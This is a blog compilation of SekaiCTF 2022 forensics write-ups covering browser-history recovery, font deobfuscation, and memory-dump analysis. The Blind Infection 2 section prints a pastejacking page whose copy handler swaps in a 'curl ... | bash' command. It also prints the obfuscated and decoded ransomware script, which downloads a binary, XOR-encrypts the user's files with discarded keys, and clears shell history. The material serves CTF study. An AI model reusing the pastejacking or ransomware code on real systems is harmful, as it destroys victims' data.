SekaiCTF 2022: Writeup Compilation

Banner

Intro

SekaiCTF 2022 — my first capture-the-flag which I’ve had the honor of organizing alongside fellow members of Project Sekai CTF. One of the aspects of its administration was the challenge verification process; as part of it, I’ve ended up authoring a bunch of forensics-based writeups which I’m really proud of. They’re also available on the GitHub repository if you’d like to check out the rest of the challenges — I’ve simply ported them over here for my fancy website formatting. Enjoy!


Blind Infection 1

author: Battlemonger
genre: forensics
points: 470
files: chall.zip
Investigator: It looks like your files were encrypted — do you have a backup?
Me: Online, yes, but even the backup links got encrypted. Can you help me find anything?
Warning: This payload contains ransomware. Consider using a fresh virtual machine, as you may risk losing your data. Although surface analysis is safe (and the ransomware is user-triggered), proceed with caution.

Reconnaissance

Unzipping the provided .zip provides us with four Linux directories: etc/, home/, root/, and snap/. Let’s start off with a little bit of reconnaissance.

A good habit with these types of challenges is to check etc/passwd, a list of system accounts. If we grep for those with root permission, we find that the user sekaictf was a superuser:

$ tree
.
├── etc
├── home
├── root
└── snap
$ cat etc/passwd | grep 'bash'
root:x:0:0:root:/root:/bin/bash
sekaictf:x:1000:1000:sekaictf,,,:/home/sekaictf:/bin/bash

Although it isn’t necessarily pertinent to the challenge, make sure you check home/sekaictf/.bash_history alongside grep -r "SEKAI{ - they can be pretty handy sometimes!

Document Recovery

Next, we’ll look for user files. The Documents/ and Pictures/ folder of the sekaictf user has them, but everything seems to be encrypted with no indication of the encryption method used.

The description talks about having a backup for the encrypted files in the form of links, meaning we should be looking for browser-related content (i.e. search history). Ubuntu 22 stores Firefox as a SnapCraft app in snap/ by default — we can also grep for the term 'firefox' for its location:

home/sekaictf$ tree | grep -C 5 firefox
│   ├── german.png
│   ├── ginger.png
│   └── meme.png
├── Public
├── snap
│   ├── firefox
│   │   ├── 1551
│   │   ├── 1589
│   │   ├── common
│   │   └── current
│   └── snapd-desktop-integration

Firefox is located in home/sekaictf/snap/firefox/, while the profile information of the user is located at firefox/common/.mozilla/firefox/p3zapakd.default/. p3zapakd is the name of the user.

Firefox stores your visit history in the places.sqlite SQLite database (read more about how Firefox stores your information here). You can use an online tool or sqlite3 to view it! The table we need is moz_places, which is a hefty piece of work with more than 750+ URLs:

Screenshot of the `moz_places` table in `places.sqlite`

Yes, it’s super meticulous, but a true forensics investigator would champ it through! Scrolling through the table, we notice that the user follows a certain trend, as following:

  1. The user searches about a topic on Google
  2. The user visits that appear in the search results
  3. The user visits the URL https://paste.c-net.org with a subdirectory consisting of two random words (possibly to bookmark them for later)

Visiting any of these pastes and recognizing that the content should be the same as encrypted files in the Documents/ folder is key to Part 1. This is further facilitated by the fact that names of the encrypted files in Documents/ are very descriptive:

home/sekaictf/Documents$ ls
aes.txt           ippsec.txt       python.txt         warandpeace12.txt
assignment.txt    jokes.txt        roblox.txt         warandpeace13.txt
billionaires.txt  joke.txt         robomagellan.txt   warandpeace14.txt
brainteasers.txt  jsinterview.txt  rsa.txt            warandpeace15.txt
countries.txt     juggle.txt       science.txt        warandpeace1.txt
ctfwins.txt       katana.txt       sekai.txt          warandpeace2.txt
elements.txt      leetcode.txt     shakespeare.txt    warandpeace3.txt
excuses.txt       loi.txt          song.txt           warandpeace4.txt
flag.txt          maths.txt        sql.txt            warandpeace5.txt
fortnite.txt      oscp.txt         tools.txt          warandpeace6.txt
ginger.txt        overflow.txt     volatility.txt     warandpeace7.txt
girlfriend.txt    privesc.txt      warandpeace10.txt  warandpeace8.txt
graphql.txt       program.txt      warandpeace11.txt  warandpeace9.txt

Instinctively, we would want to visit all these pastes.

There are 50 instances of the URL https://paste.c-net.org in the table and visiting them one-by-one isn’t very 1337 h4xx0r. We can execute some simple SQL on the table to extract all instances:

SELECT url FROM 'moz_places' WHERE URL like '%paste%'

Let’s write a simple curl script with Python:

solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests

urls = [
    "https://paste.c-net.org/HitchedGlaser",
    "https://paste.c-net.org/HavingGaining",
    "https://paste.c-net.org/ElevenRejected",
    "https://paste.c-net.org/LovedCyborg",
    "https://paste.c-net.org/DictateSplinter",
    "https://paste.c-net.org/WagonsClips",
    "https://paste.c-net.org/BegunCarols",
    "https://paste.c-net.org/SweptReport",
    "https://paste.c-net.org/DetectedParanoid",
    "https://paste.c-net.org/RomanovBaptiste",
    "https://paste.c-net.org/GluttonyBamboo",
    "https://paste.c-net.org/WoodsCochran",
    "https://paste.c-net.org/YellingShelf",
    "https://paste.c-net.org/ServesTerrence",
    "https://paste.c-net.org/ChaperonDouche",
    "https://paste.c-net.org/WestleyCompany",
    "https://paste.c-net.org/DiagnoseEgypt",
    "https://paste.c-net.org/InquireExplicit",
    "https://paste.c-net.org/RubbleAcute",
    "https://paste.c-net.org/MilnerFantasy",
    "https://paste.c-net.org/ArticleOutdoors",
    "https://paste.c-net.org/DigitAccosted",
    "https://paste.c-net.org/DaylightMaguire",
    "https://paste.c-net.org/GaugeComposed",
    "https://paste.c-net.org/OlympusSeminar",
    "https://paste.c-net.org/LackeysEternity",
    "https://paste.c-net.org/CoachedBarks",
    "https://paste.c-net.org/StungFarted",
    "https://paste.c-net.org/BlisterQuebec",
    "https://paste.c-net.org/BiancaShanghai",
    "https://paste.c-net.org/ReboundStopping",
    "https://paste.c-net.org/EmptyPaste",
    "https://paste.c-net.org/ToursForks",
    "https://paste.c-net.org/GuineaShovel",
    "https://paste.c-net.org/LettinAverage",
    "https://paste.c-net.org/CuveeBouncer",
    "https://paste.c-net.org/CraziesCritique",
    "https://paste.c-net.org/QuitterTasks",
    "https://paste.c-net.org/MashburnEdmund",
    "https://paste.c-net.org/PollsFenwick",
    "https://paste.c-net.org/FillsTaunt",
    "https://paste.c-net.org/RussiansEstimate",
    "https://paste.c-net.org/HughesRecant",
    "https://paste.c-net.org/CelloFilmed",
    "https://paste.c-net.org/CrushMalcolm",
    "https://paste.c-net.org/ProphecyWestside",
    "https://paste.c-net.org/GardenOccur",
    "https://paste.c-net.org/QuittingPeterson",
    "https://paste.c-net.org/BainesPouty",
]

for url in urls:
    r = requests.get(url)
    if "SEKAI{" in r.text:
        print(r.text)

Running the script:

$ python3 solve.py
SEKAI{[email protected]_84cKUp}

Blind Infection 2

author: Battlemonger
genre: forensics
points: 488
files: chall.zip
Investigator: Here are your backups, but what about rest of your files?
Me: Umm…
Investigator: I'm gonna need more details regarding what exactly you were doing.
Warning: This payload contains ransomware. Consider using a fresh virtual machine, as you may risk losing your data. Although surface analysis is safe (and the ransomware is user-triggered), proceed with caution.

We’ve managed to restore the contents of Documents/, but this user has unfortunately failed to backup Pictures/. To decrypt them, we need to know the encryption method used. As of now, we only have the plaintext and ciphertext from Part 1, which currently don’t prove that useful. We need more details.

The SQL Rabbit Hole

Continuing to scroll through browser history, near the end of the table we come across instances of the user searching about ‘virus’ and ‘virus remover’. This probably happened after the user’s files got encrypted. Looking at the URL visits just before this, we see that the user was downloading various rhythm game-related items, including osu! beatmaps and an .apk of Project Sekai. This rabbit hole eventually led to a string of suspicious websites — including https://sekaictf-tunes.netlify.app:

Screenshot of pure HTML page with a suspicious wget command

Source code of https://sekaictf-tunes.netlify.app[source]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    </head>
    <body>
        <!-- Source - https://security.love/Pastejacking/ --> Download exclusive Sekai Music!!! <br>
        <p>wget sekairhythms.com/epicmusic.zip</p>
        <script>
            document.addEventListener('copy', function(e) {
                console.log(e);
                e.clipboardData.setData('text/plain', 'curl https://storage.googleapis.com/sekaictf/Forensics/muhahaha.sh | bash');
                e.preventDefault();
            });
        </script>
    </body>
</html>

Check out this snippet above: instead of copying wget sekairhythms.com/epicmusic.zip, we end up actually copying curl https://storage.googleapis.com/sekaictf/Forensics/muhahaha.sh | bash, which is a malicious bash script.

This is the premise of the challenge. Never copy and paste code/commands from internet blindly! That’s where the challenge name comes from — “Blind Infection”!

This is a classic pastejacking attack. Let’s not copy it into the terminal and instead analyze the .sh file that’s curl‘ed. Visit the original link to see the raw code:

1
2
3
z="
";Uz='e da';Cz='----';QBz=' key';Wz='ou!!';FBz='open';NBz='s -r';nz='er/b';Jz=' gon';aBz='h_hi';tz='for ';Bz=' '\''--';PBz='le $';Rz='them';Pz=' '\''Br';Sz=' bac';Iz=' are';WBz='rm x';YBz='> ~/';Nz='ly!!';Qz='ing ';DBz='/*';ez='erco';vz=' in ';MBz='xor-';Oz='!'\''';UBz='xt';OBz=' $fi';Tz='k, W';pz='ies/';iz='ange';KBz='y.tx';Mz='nent';Yz=' -q ';CBz='ures';Lz='erma';cz='gith';cBz='y';Az='echo';JBz='> ke';lz='les/';wz='~/Do';BBz='Pict';Hz='iles';hz='m/sc';bBz='stor';uz='file';RBz='.txt';XBz=' '\'''\'' ';gz='t.co';yz='nts/';xz='cume';Zz='http';VBz='done';EBz='do';Gz='ur f';HBz='rand';kz='r-fi';ZBz='.bas';sz='or-f';Ez=' '\''Al';dz='ubus';bz='raw.';az='s://';oz='inar';LBz='t';Kz='e, p';ABz='* ~/';Xz='wget';Fz='l yo';SBz='rm k';GBz='ssl ';IBz=' 16 ';mz='mast';TBz='ey.t';Vz='re y';fz='nten';Dz='---'\''';jz='o/xo';qz='x86_';rz='64/x';
eval "$Az$Bz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Dz$z$Az$Ez$Fz$Gz$Hz$Iz$Jz$Kz$Lz$Mz$Nz$Oz$z$Az$Pz$Qz$Rz$Sz$Tz$Uz$Vz$Wz$Oz$z$Az$Bz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Cz$Dz$z$Xz$Yz$Zz$az$bz$cz$dz$ez$fz$gz$hz$iz$jz$kz$lz$mz$nz$oz$pz$qz$rz$sz$Hz$z$tz$uz$vz$wz$xz$yz$ABz$BBz$CBz$DBz$z$EBz$z$FBz$GBz$HBz$IBz$JBz$KBz$LBz$z$MBz$uz$NBz$OBz$PBz$uz$QBz$RBz$z$SBz$TBz$UBz$z$VBz$z$WBz$sz$Hz$z$Az$XBz$YBz$ZBz$aBz$bBz$cBz"

Looks like it’s obfuscated by defining a crap ton of environmental variables and evaluating the concatenated contents. To deobfuscate, simply change the eval term to echo to see what actually runs:

1
2
3
4
5
6
7
8
9
10
11
12
13
echo '---------------------------------------------------------'
echo 'All your files are gone, permanently!!!'
echo 'Bring them back, We dare you!!!'
echo '---------------------------------------------------------'
wget -q https://raw.githubusercontent.com/scangeo/xor-files/master/binaries/x86_64/xor-files
for file in ~/Documents/* ~/Pictures/*
do
openssl rand 16 > key.txt
xor-files -r $file $file key.txt
rm key.txt
done
rm xor-files
echo '' > ~/.bash_history

Let’s do a quick analysis. This script:

  1. Downloads a binary quietly
  2. For each file in the Documents/ and Pictures/ folder, it:
    • Generates a 16-byte key
    • Performs a XOR operation with the key
    • Removes the key (meaning the key is different every time)
  3. Deletes the binary and clears the contents of ~/.bash_history

We now know a simple XOR was used to encrypt Pictures/. However, we don’t know the keys, and it would take until the heat death of the universe to brute force 16 bytes. Additionally, we can’t extract utilize known-plaintext attacks on Part 1 since each key is unique. We’ll need a different solution.

We know that:

  1. The files in Pictures/ are in the .png format
  2. XOR is reversible if we have a key
  3. We do not have a key readily available

But, there is a weakness! If we research a bit into the .png format, we learn that the first 16 bytes of a .png are always same:

89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
Header Block                         IHDR Block

With this, we can XOR the first 16 bytes of each encrypted .png with this as the key to obtain the original, unique key. We can now decrypt each picture with this Python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import os
import binascii

files = os.listdir('Pictures')
header = binascii.unhexlify(b'89504E470D0A1A0A0000000D49484452')
os.system('wget -q https://raw.githubusercontent.com/scangeo/xor-files/master/binaries/x86_64/xor-files')

for file in files:
path = 'Pictures/'+file
f = open(path,'rb').read()
first_16_bytes = f[:16]
key = b''
for i in range(len(header)):
key += chr(header[i]^first_16_bytes[i]).encode('iso-8859-1')
with open('key.txt','wb') as k:
k.write(key)
os.system('xor-files -r '+path+' '+path+' key.txt')

os.system('rm key.txt')
os.system('rm xor-files')

Use the strings command on flag.png to flag the challenge.

Flag: SEKAI{D4R3_4CC3PT38_4N8_4U5T38}


Broken Converter

author: blueset
genre: forensics
points: 100
files: Assignment-broken.xps
Miku has finally finished her assignment and is ready to submit - but for some reason, the school requires all assignments to be submitted as .xps files. Miku found a converter online and used the converted file for submission. The file looked good at first, but it seems as if there’s something broken in the converter. Can you help her figure out what's wrong?
Note: This challenge shares the same file as flag Mono.

Reading the Wikipedia page for Open XML Paper Specification/.xps files, we can see that Assignment-broken.xps is actually a .zip archive:

An XPS file is a ZIP archive using the Open Packaging Conventions, containing the files which make up the document. These include an XML markup file for each page, text, embedded fonts, raster images, 2D vector graphics, as well as the digital rights management information. The contents of an XPS file can be examined by opening it in an application which supports ZIP files.

Renaming the file extension to .zip will provide us with some files:

Viewing the renamed `.xps` file in WinRAR

In Resources/ we can find 02F30FAD-6532-20AE-4344-5621D614A033.odttf, which is an “Obfuscated OpenType” file:

Viewing `Resources/` file in WinRAR

The ODTTF Wikipedia page states that .odttf files are obfuscated by performing a XOR operation on the first 32 bytes of the font file, using its GUID (or the filename) as the key:

According to the source code of Okular (see function parseGUID() and method XpsFile::loadFontByName()), the first 32 bytes of the font file are obfuscated by XOR using the font file name (a GUID). The rest of the file is normal OpenType.

This is also mentioned in section 9.1.7.3 of the XPS Standard:

Perform an XOR operation on the first 32 bytes of the binary data of the obfuscated font part with the array consisting of the bytes referred to by the placeholders B37, B36, B35, B34, B33, B32, B31, B30, B20, B21, B10, B11, B00, B01, B02, and B03, in that order and repeating the array once. The result is a non-obfuscated font.

Although you can totally create a XOR script and perform it manually, you can also find scripts online. odttf2ttf provides an online demo here, which is a simple drag-and-drop with instant conversion:

Conversion using odttf2ttf

Now that it’s deobfuscated, we can open the file in Windows Font Viewer. The phrase GlYPHZ,W3|!.d0n&} is visible at the top, but the rest of the flag isn’t properly ordered:

Viewing unordered glyphs in default font viewer

However, opening the .ttf file in programs that sort by ASCII, such as FontForge or FontDrop!, will yield a flag:

Visible flag in program window for FontForge

The flag is underlined: f\@g:SEKAI{sCR4MBLeD_a5ci1-FONT+GlYPHZ,W3|!.d0n&}"#$%'()*/26789;<=>?JQUVX[]^`bhjkmopqrtuvwxyz~


flag Mono

author: blueset
genre: forensics
points: 368
files: Assignment-broken.xps
When writing the assignment, Miku used a font called flag Mono. Despite it looking just like a regular monospaced font, it claims itself to be stylistic in various ways.
"Perhaps there's something special about it", Miku thought.
Note: This challenge shares the same file as Broken Converter.

If you inspect the font info in FontForge with Ctrl + Shift + F, you can see in the Lookup tab that four different “Style Sets” have been implemented into this font:

Inspecting the "Lookup" tab in FontForge

These are called “OpenType Stylistic Sets”. According to its official Microsoft documentation:

In addition to, or instead of, stylistic alternatives of individual glyphs […], some fonts may contain sets of stylistic variant glyphs corresponding to portions of the character set, e.g. multiple variants for lowercase letters in a Latin font.

In FontForge you can actually view the ruleset for these styles with the Edit Data button. This is the ruleset for ss01:

Inspecting stylistic set ruleset $2 in FontForge

ampersand quotesingle | a @<Single Substitution lookup 4> | g
| f @<Single Substitution lookup 4> | l a g
ampersand quotesingle parenleft | g @<Multiple Substitution lookup 5> |
ampersand | l @<Single Substitution lookup 4> | a g

Let’s test out typing flag on FontDrop! and changing the stylistic set:

Changing stylistic sets on FontDrop!

Combining everything together, the flag is SEKAI{OpenTypeMagicGSUBIsTuringComplete}.


Symbolic Needs 1

author: Battlemonger
genre: forensics
points: 467
files: memdump
We recently got hold of a cryptocurrency scammer and confiscated his laptop.
Analyze the memdump. Submit the string you find wrapped with SEKAI{}.

Inflating the .zip, we are given a .mem memory dump of a machine of an unknown operating system. We will be using the Volatility 3 framework to analyze it.

Firstly, clone the repository on GitHub:

$ git clone https://github.com/volatilityfoundation/volatility3.git
$ cd volatility3

Since we’ll need to find a debugging package for this memory dump later, we need to run the banner command to identify the exact operating system, version and kernel:

$ python3 vol.py -f dump.mem banner
Volatility 3 Framework 2.3.1
Progress:  100.00        PDB scanning finished                      
Offset  Banner

0x42400200  Linux version 5.15.0-43-generic ([email protected]) (gcc (Ubuntu 11.2.0-19ubuntu1) 11.2.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #46-Ubuntu SMP Tue Jul 12 10:30:17 UTC 2022 (Ubuntu 5.15.0-43.46-generic 5.15.39)
0x437c3718  Linux version 5.15.0-43-generic ([email protected]) (gcc (Ubuntu 11.2.0-19ubuntu1) 11.2.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #46-Ubuntu SMP Tue Jul 12 10:30:17 UTC 2022 (Ubuntu 5.15.0-43.46-generic 5.15.39)9)

This identifies the following:

  • OS: Ubuntu 22.04
  • Kernel: Linux version 5.15.0-43-generic

Note: Since these are very recent versions, there were no readily available Volatility profiles. Honestly, I couldn’t make Volatility 2 work with Ubuntu 22 even after successful profile creation (KeyError: 'DW_AT_data_member_location'). Let me know if you were able to, since everyone’s learning! :)

Profile Creation + Symbol Table:

In order to run Volatility plugins we need to build a symbol table in the .json format. They can be generated from DWARF files using the dwarf2json tool. The hardest part is probably finding the kernel with debugging symbols for Linux version 5.15.0-43-generic. A complete list is available here, but linux-image-unsigned-5.15.0-43-generic-dbgsym_5.15.0-43.46_amd64.ddeb is the version we need. After inflating the archive, the relevant file we need is the vmlinux-5.15.0-43-generic DWARF located in usr/lib/debug/boot.

Next, we’ll clone the dwarf2json tool from the Volatility repository and build it:

$ git clone https://github.com/volatilityfoundation/dwarf2json  
$ cd dwarf2json 
$ go build  

Finally, we can run:

$ dwarf2json linux --elf vmlinux-5.15.0-43-generic > ubuntu22.json

Copy the symbol table to volatility3/volatility3/symbols/linux, and your profile should be set up. The symbols are also available here!

Once we have a valid symbols.json, we can run Volatility 3 plugins. The first one we always run is linux.bash, to display bash history:

$ python3 vol.py -f dump.mem linux.bash
Volatility 3 Framework 2.3.1
Progress:  100.00        Stacking attempts finished                 
PID Process CommandTime Command

1863    bash    2022-08-29 13:45:56.000000    72.48.117.53.84.48.110.95.119.51.95.52.114.51.95.49.110.33.33.33

Those are easily identifiable as ASCII codes. Convert 72 48 117 53 84 48 110 95 119 51 95 52 114 51 95 49 110 33 33 33 to text and get the flag: SEKAI{H0u5T0n_w3_4r3_1n!!!}


Symbolic Needs 2

author: Battlemonger
genre: forensics
points: 482
files: memdump
Recover the private key of the wallet address 0xACa5872e497F0Cc626d1E9bA28bAEC149315266e. Submit the key wrapped with SEKAI{}.

Let’s follow up from the last proglem with the linux.psaux plugin, to gather and display all processes:

$ python3 vol.py -f dump.mem linux.psaux
Volatility 3 Framework 2.3.1
Progress:  100.00        Stacking attempts finished                 
PID PPID    COMM    ARGS
...
1731    985 gsd-xsettings    /usr/libexec/gsd-xsettings
1787    985 ibus-x11    /usr/libexec/ibus-x11
1845    985 gnome-terminal- /usr/libexec/gnome-terminal-server
1863    1845    bash    bash
1878    1863    ncat    ncat -lvnp 1234 -c echo N4GQ2CQAAAAAAEFG5JRPEAIAADRQAAAAAAAAAAAAAAAAAAAAAAAAACIAAAAEAAAAABZ6QAAAABSAAZABNQAFUAD2A5SQA2QBMQBBSAC2AJLQA3QLAEAACAABABSQGZADQMAQCADFASBQAAIALEAGOAC2AVSQMZAEMQCYGAUPBZNAOZIHUAEKCAFABGQQAWQFK4AGIAIEAACABAYDAEAG4CBRABZS65YBAEAACAABABMQAAIAMQDFUCTFBNSQVAYBMQDWIAMFAIMQAWQKMUGGKCVABVSQ4ZIKQMAWICDFBZSQVAYBMQEBMAAYAALQBIIBQMAVUCTHABNA6ZIQMQAGKDTFBKBQCZAIQMBUIAC5CRNBCZIPUAJGKBLFCNSQUZIRMUIWICAXACCQEGIAMQDYGATEAIMAAGIAUEAQCADRLFSQGZAJQMAQCADEAFJQAKIK5EAAAAAAJ3UQCAAAAB5BQVLTMFTWKORAFYXXOYLMNRSXIIDQMFZXG53POJSHUDLCNFYDGOLMNFZXILTUPB2NUALSNQKAAAAAABS6KHWNHGMBH4AWTJ3BE3XKCYFWPVQQSR6WWFSHC2WEUE3P5AP7G46OA3IBWAIA5EBAAAAA5EGAAAAA3ICVO4TPNZTSSFG2ANZXS462ARQXEZ3W3IEHAYLTON3W64TE3ICXA4TJNZ2NUBDFPBUXJWQFO5XXEZDT3ICG64DFN3NACZW2ARZGKYLE3IFHG4DMNF2GY2LOMVZ5UBDDN5SGLWQDMJUW5WQDON2HFWQFPJTGS3DM3IBWYZLO3IEG23TFNVXW42LD3ICXEYLOM5S5UALJ3IDGC4DQMVXGJWQDNFXHJKIAOINQAAAAOINQAAAA7IEHIZLTOQZC44DZ3IEDY3LPMR2WYZJ6AEAAAADTEIAAAAAIAABAEDQBAYAQQAIIAECAGDACBYARZ7YEAMIAGIQBAQBRIARGAEGAE=== | base32 -d > file.pyc
1886    1147    update-notifier update-notifier
1911    1863    sudo    sudo insmod LiME/src/lime-5.15.0-43-generic.ko path=dump.mem format=lime
1918    1911    sudo    sudo insmod LiME/src/lime-5.15.0-43-generic.ko path=dump.mem format=lime
...

It looks like the scammer was serving some base32 through Netcat. We also notice that it’s piped into a .pyc file, which is Python bytecode.

Run the command echo [PUT YOUR BASE32 HERE] | base32 -d > file.pyc to convert this base32 into a binary. Run the .pyc with python3 and it will give:

$ python3 file.pyc 
Usage: ./wallet password

Passing a random argument results in a FileNotFoundError:

$ python3 file.pyc password
Traceback (most recent call last):
  File "test2.py", line 12, in 
FileNotFoundError: [Errno 2] No such file or directory: 'bip39list.txt'

We can find this wordlist in the bitcoin/bips repository. If you run the binary again with the same argument it just outputs “Wrong”. We’ll need to disassemble this.

Disassemble the bytecode with the dis module:

1
2
3
4
5
6
import dis
import marshal

with open('file.pyc', 'rb') as f:
f.seek(16)
print(dis.dis(marshal.load(f)))
$ python3 disassembled.py 
  1           0 LOAD_CONST               0 (0)
              2 LOAD_CONST               1 (None)
              4 IMPORT_NAME              0 (sys)
              6 STORE_NAME               0 (sys)

  3           8 SETUP_FINALLY            7 (to 24)

  4          10 LOAD_NAME                0 (sys)
             12 LOAD_ATTR                1 (argv)
             14 LOAD_CONST               2 (1)
             16 BINARY_SUBSCR
             18 STORE_NAME               2 (password)
             20 POP_BLOCK
             22 JUMP_FORWARD            11 (to 46)

  5     >>   24 POP_TOP
             26 POP_TOP
             28 POP_TOP

  6          30 LOAD_NAME                3 (print)
             32 LOAD_CONST               3 ('Usage: ./wallet password')
             34 CALL_FUNCTION            1
             36 POP_TOP

  7          38 LOAD_NAME                4 (exit)
             40 CALL_FUNCTION            0
             42 POP_TOP
             44 POP_EXCEPT

 10     >>   46 BUILD_LIST               0
             48 STORE_NAME               5 (words)

 12          50 LOAD_NAME                6 (open)
             52 LOAD_CONST               4 ('bip39list.txt')
             54 LOAD_CONST               5 ('r')
             56 CALL_FUNCTION            2
             58 SETUP_WITH              14 (to 88)
             60 STORE_NAME               7 (f)

 13          62 LOAD_NAME                7 (f)
             64 LOAD_METHOD              8 (read)
             66 CALL_METHOD              0
             68 LOAD_METHOD              9 (splitlines)
             70 CALL_METHOD              0
             72 STORE_NAME               5 (words)
             74 POP_BLOCK

 12          76 LOAD_CONST               1 (None)
             78 DUP_TOP
             80 DUP_TOP
             82 CALL_FUNCTION            3
             84 POP_TOP
             86 JUMP_FORWARD             8 (to 104)
        >>   88 WITH_EXCEPT_START
             90 POP_JUMP_IF_TRUE        47 (to 94)
             92 RERAISE                  1
        >>   94 POP_TOP
             96 POP_TOP
             98 POP_TOP
            100 POP_EXCEPT
            102 POP_TOP

 15     >>  104 LOAD_CONST               6 (75673125099835840306362297188218306412669859836254678874904603942583570317024638985472)
            106 STORE_NAME              10 (code)

 18         108 LOAD_NAME               11 (bin)
            110 LOAD_NAME               10 (code)
            112 CALL_FUNCTION            1
            114 LOAD_CONST               7 (2)
            116 LOAD_CONST               1 (None)
            118 BUILD_SLICE              2
            120 BINARY_SUBSCR
            122 STORE_NAME              10 (code)

 19         124 LOAD_NAME               12 (str)
            126 LOAD_NAME               10 (code)
            128 LOAD_METHOD             13 (zfill)
            130 LOAD_NAME               14 (len)
            132 LOAD_NAME               10 (code)
            134 CALL_FUNCTION            1
            136 LOAD_CONST               8 (12)
            138 LOAD_NAME               14 (len)
            140 LOAD_NAME               10 (code)
            142 CALL_FUNCTION            1
            144 LOAD_CONST               8 (12)
            146 BINARY_MODULO
            148 BINARY_SUBTRACT
            150 BINARY_ADD
            152 CALL_METHOD              1
            154 CALL_FUNCTION            1
            156 STORE_NAME              10 (code)

 22         158 BUILD_LIST               0
            160 STORE_NAME              15 (mnemonic)

 24         162 LOAD_NAME               16 (range)
            164 LOAD_CONST               0 (0)
            166 LOAD_NAME               14 (len)
            168 LOAD_NAME               10 (code)
            170 CALL_FUNCTION            1
            172 LOAD_CONST               8 (12)
            174 CALL_FUNCTION            3
            176 GET_ITER
        >>  178 FOR_ITER                20 (to 220)
            180 STORE_NAME              17 (i)

 25         182 LOAD_NAME               15 (mnemonic)
            184 LOAD_METHOD             18 (append)
            186 LOAD_NAME                5 (words)
            188 LOAD_NAME               19 (int)
            190 LOAD_NAME               10 (code)
            192 LOAD_NAME               17 (i)
            194 LOAD_NAME               17 (i)
            196 LOAD_CONST               8 (12)
            198 BINARY_ADD
            200 BUILD_SLICE              2
            202 BINARY_SUBSCR
            204 LOAD_CONST               7 (2)
            206 CALL_FUNCTION            2
            208 LOAD_CONST               2 (1)
            210 BINARY_SUBTRACT
            212 BINARY_SUBSCR
            214 CALL_METHOD              1
            216 POP_TOP
            218 JUMP_ABSOLUTE           89 (to 178)

 27     >>  220 LOAD_NAME                3 (print)
            222 LOAD_CONST               9 ('Wrong')
            224 CALL_FUNCTION            1
            226 POP_TOP
            228 LOAD_CONST               1 (None)
            230 RETURN_VALUE
None

Let’s analyze this:

  1. The program loads the bip39 wordlist. It’s a standard wordlist used to secure crypto wallets with a mnemonic.
  2. It then stores a hardcoded integer in the variable code, converts to binary and zfills it so that length is multiple of 12.
  3. Next, it converts each 12 bits to decimal, and subtracts one. This number is used as an index, and appends the corresponding word from bip39 in an array called mnemonic.
  4. No matter what, the code will always print “Wrong”! :D

Let’s write a simple script to find the mnemonics with this information:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3
words = []

with open('bip39list.txt', 'r') as f:
words = f.read().splitlines()

code = 75673125099835840306362297188218306412669859836254678874904603942583570317024638985472
code = bin(code)[2:]
code = str(code.zfill(len(code) + (12 - len(code) % 12)))

mnemonic = []

for i in range(0, len(code), 12):
mnemonic.append(words[int(code[i:i + 12], 2) - 1])

print(mnemonic)

Running the script:

$ python3 mnemonic.py
['evidence', 'leopard', 'solution', 'layer', 'legend', 'danger', 'orient', 'project', 'silver', 'flower', 'wrong', 'path', 'stove', 'throw', 'fortune', 'report', 'nuclear', 'old', 'target', 'exact', 'broom', 'hawk', 'toss', 'paper']

Looks like we’ve got our mnemonic!

Now we can visit MyEtherWallet and enter the 24-word mnemonic phrase. Look for the 0xACa5872e497F0Cc626d1E9bA28bAEC149315266e wallet and gain access to the dashboard:

MEW dashboard

To access the private key, go to My personal account -> View paper wallet:

Viewing wallet

The flag is SEKAI{0x81c458e9fae445de18385a3379513acc8e191e4c2667c85aa0a52a32ec4e6d55}!